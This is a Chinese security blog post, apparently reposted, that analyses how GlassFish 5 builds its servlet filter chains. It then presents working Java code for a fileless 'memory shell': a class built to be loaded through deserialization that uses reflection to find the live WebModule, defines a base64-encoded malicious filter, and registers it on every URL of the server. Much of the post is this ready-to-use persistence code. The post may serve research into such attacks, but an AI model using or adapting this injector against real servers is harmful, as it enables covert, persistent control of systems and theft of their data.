GlassFish-Filter内存马分析

admin 2023年7月11日13:18:58评论28 views字数 9343阅读31分8秒阅读模式

GlassFish-Filter内存马分析

目录

  • 前言

  • 分析Filter

  • Filter内存马

    • 获取上下文

    • 具体实现

    前言

Glassfish5.0.0

分析 glassfish Filter内存马

环境搭建

HelloFilter

GlassFish-Filter内存马分析

分析Filter

首先在Servlet中打下断点,观察调用栈,

GlassFish-Filter内存马分析

观察调用栈,在StandardWrapper中第一次调用了doFilter,再次说明,个人认为,分析一个filter运行的过程。首先要关注的是filterchain是如何生成的。因为只有filterchain生成之后,才能说去调用doFilter,让filter起作用。而第一次调用doFilter的时候往往就能找到关于filterchain的线索。

GlassFish-Filter内存马分析

org.apache.catalina.core.StandardWrapperValve:invoke(),调用了filterChain.doFilter(hreq, hres);

GlassFish-Filter内存马分析

关注filterChain是如何生成的。

org.apache.catalina.core.StandardWrapperValve:invoke()中第120行代码。调用了createFilterChain,跟进该方法。

ApplicationFilterChain filterChain = factory.createFilterChain((ServletRequest)request, wrapper, servlet);

GlassFish-Filter内存马分析

public ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
StandardContext context = (StandardContext)wrapper.getParent();
List<FilterMap> filterMaps = context.findFilterMaps();
if (filterMaps.isEmpty()) {
return filterChain;
} else {
DispatcherType dispatcher = request.getDispatcherType();
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}

String servletName = wrapper.getName();
int n = 0;
Iterator i = filterMaps.iterator();

FilterMap filterMap;
ApplicationFilterConfig filterConfig;
while(i.hasNext()) {
filterMap = (FilterMap)i.next();
if (filterMap.getDispatcherTypes().contains(dispatcher) && this.matchFiltersURL(filterMap, requestPath, context.isCaseSensitiveMapping())) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
if (filterChain == null) {
filterChain = this.internalCreateFilterChain(request, wrapper, servlet);
}

filterChain.addFilter(filterConfig);
++n;
}
}
}

i = filterMaps.iterator();

while(i.hasNext()) {
filterMap = (FilterMap)i.next();
if (filterMap.getDispatcherTypes().contains(dispatcher) && this.matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
if (filterChain == null) {
filterChain = this.internalCreateFilterChain(request, wrapper, servlet);
}

filterChain.addFilter(filterConfig);
++n;
}
}
}

return filterChain;
}
}
}

该方法中初始化一个filterChain(ApplicationFilterChain类型)。然后从上下文context(WebModule类型)中通过findFilterMaps()中获取到filterMaps,debug跟进到该方法中。

GlassFish-Filter内存马分析

继续往下看,关键代码如下。大致的逻辑为遍历filterMaps。判断filtermap中的dispatcherTypes是否为request,判断请求路径是否符合filtermap中的urlPattern。然后调用findFilterConfig方法,通过filterMap.getFilterName()context(WebModule类型中寻找filterConfig。接着调用filterChain的addFilter()将filterConfig添加到filterChain中,然后返回filterChain。

GlassFish-Filter内存马分析

由此可以看出,生成一个filterChain。主要关注两个地方。一个是filterMaps,一个是filterConfigs。从context中获取到这两个变量,所以是否可以理解假如能获取到context,那么就能对filterMapsfilterConfigs进行一个添加恶意filter的一个操作。那么接下来就要关注如何生成filterMapsfilterConfigs

因为filterMapsfilterConfigs是从context中获取的,那么关注context是如何生成的。

观察整个调用栈,下图是内存中context中的变量,分别是filterConfigs,filterDefs,filterMaps

GlassFish-Filter内存马分析

继续往前看调用栈,还是内存中的context

GlassFish-Filter内存马分析

继续往前看调用栈,这时候调用栈中的webModule实际上就是后期的context,在后面进行了一个形如context=webModule的操作,在调用栈中寻找第一次出现webModule的地方

GlassFish-Filter内存马分析

com.sun.enterprise.web.WebPipeline:WebPipeline中生成的webModule。在此打下打下断点,IDEA中Step 0ver跟代码。

GlassFish-Filter内存马分析

跟到com.sun.enterprise.web.WebModule:start(),在该方法中的super.start()调用父类的start也就是org.apache.catalina.core.StandardContext:start()

GlassFish-Filter内存马分析

GlassFish-Filter内存马分析

org.apache.catalina.core.StandardContext:start()中有filterStart(),跟进该函数

GlassFish-Filter内存马分析

org.apache.catalina.core.StandardContext:filterStart()中先调用clear(),清空filterConfigs,接着遍历当前对象中的filterDefs。然后往filterConfigs中添加形如<filtername,ApplicationFilterConfig(当前上下文,filterDef)>的映射关系。从构造内存马的角度来看,那么就是得实例化一个filterDef,添加到当前上下文的filterDefs中。接着需要获取到当前上下文的filterConfigs,通过put()往filterConfigs中添加恶意filter的filternamefilterDef

GlassFish-Filter内存马分析

GlassFish-Filter内存马分析

org.apache.catalina.core.StandardContext中有addFilterDef()方法,可以将实例化的filterDef加入filterDefs中。

GlassFish-Filter内存马分析

关于filterMaps是如何生成的。观察com.sun.enterprise.web.WebModule中的addFilterMap()。从构造内存马的角度来看,同样我们可以通过实例化一个filterMap对象。利用addFilterMap添加恶意filter的相关信息。

GlassFish-Filter内存马分析

Filter内存马

获取上下文

https://github.com/c0ny1/java-object-searcher

// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("com.sun.enterprise.web.WebModule").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式,会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/xxx/Documents/CodeFile/java/MiddleWare/logs/Glassfish");
searcher.searchObject();
TargetObject = {[Ljava.lang.Thread;} 
---> [2] = {java.lang.Thread} = {java.lang.Thread}
---> target = {org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor}
---> this$0 = {com.sun.enterprise.web.WebModule}
---> pipeline = {com.sun.enterprise.web.WebPipeline}
---> basic = {org.apache.catalina.core.StandardContextValve}

获取到WebModule

Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
java.lang.Thread[] threads = (java.lang.Thread[])field.get(obj);

for(Thread t : threads){
if(t.getName().contains("ContainerBackgroundProcessor") && t.getName().contains("StandardHost")){
Field target_f = t.getClass().getDeclaredField("target");
target_f.setAccessible(true);
Object target = target_f.get(t);
return target;

Field this$0_f = target.getClass().getDeclaredField("this$0");
this$0_f.setAccessible(true);
WebModule webModule = (WebModule) this$0_f.get(this$0_f);
return webModule;
}
}

GlassFish-Filter内存马分析

这里是获取当前线程中的webModule对象,而不是获取StandardContext的原因是因为在整个filter运行过程中都是当前线程的webMoudule对象在起作用,之所以会调用到StandardContext的方法,那是因为webMoudule继承了StandardContext。所以这里获取webModule对象。

GlassFish-Filter内存马分析

另外,在测试过程中,还遇到另一个问题。GlassFish在启动之后的线程组中能获取到webModule的线程有两处。一处是web服务的ROOT服务,一处是自己起的项目。在获取webModule时要明确自己获取的是哪一个项目的webModule。否则将遇到注入内存马成功,但是路径不对,无法连接的问题

GlassFish-Filter内存马分析

GlassFish-Filter内存马分析

GlassFish-Filter内存马分析

具体实现

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;

import javax.servlet.DispatcherType;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;

public class GlassFishFilterLoader extends AbstractTranslet {
private static WebModule webModule = null;
private static String filterName = "HFilter";
private static String filterClassName = "com.cause.server.HFilter";
private static String url = "/*";

private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意filter.class|base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}

private static synchronized void GetWebContent() throws Exception{
Thread thread = Thread.currentThread();
Object group = GetField(thread,"group");
java.lang.Thread[] threads = (java.lang.Thread[])GetField(group,"threads");

for(Thread t : threads){
if(t.getName().contains("ContainerBackgroundProcessor") && t.getName().contains("StandardHost") ){
Object target = GetField(t,"target");
webModule = (WebModule) GetField(target,"this$0");
break;
}
}
}

private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}

private static synchronized void InjectFilter() throws Exception {
try {
Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(HFilter);

Constructor<?>[] constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructor[0].setAccessible(true);
Object applicationFilterConfig = constructor[0].newInstance(webModule, filterDef);
Map filterConfigs = (Map) GetField(webModule,"filterConfigs");
filterConfigs.put(filterName,applicationFilterConfig);

FilterMap filterMap = new FilterMap();
filterMap.setURLPattern(url);
filterMap.setFilterName(filterName);
HashSet<DispatcherType> set = new HashSet();
set.add(DispatcherType.REQUEST);
filterMap.setDispatcherTypes(set);
webModule.addFilterDef(filterDef);
webModule.addFilterMap(filterMap);

System.out.println("12313");
}catch (Exception e){
e.printStackTrace();
}
}

public GlassFishFilterLoader(){
try {
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
e.printStackTrace();
}
}

static {
new GlassFishFilterLoader();
}



@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

来源:https://xz.aliyun.com/,感谢【饼干屑小鬼 

原文始发于微信公众号(衡阳信安):GlassFish-Filter内存马分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月11日13:18:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GlassFish-Filter内存马分析http://cn-sec.com/archives/1868026.html

发表评论

匿名网友 填写信息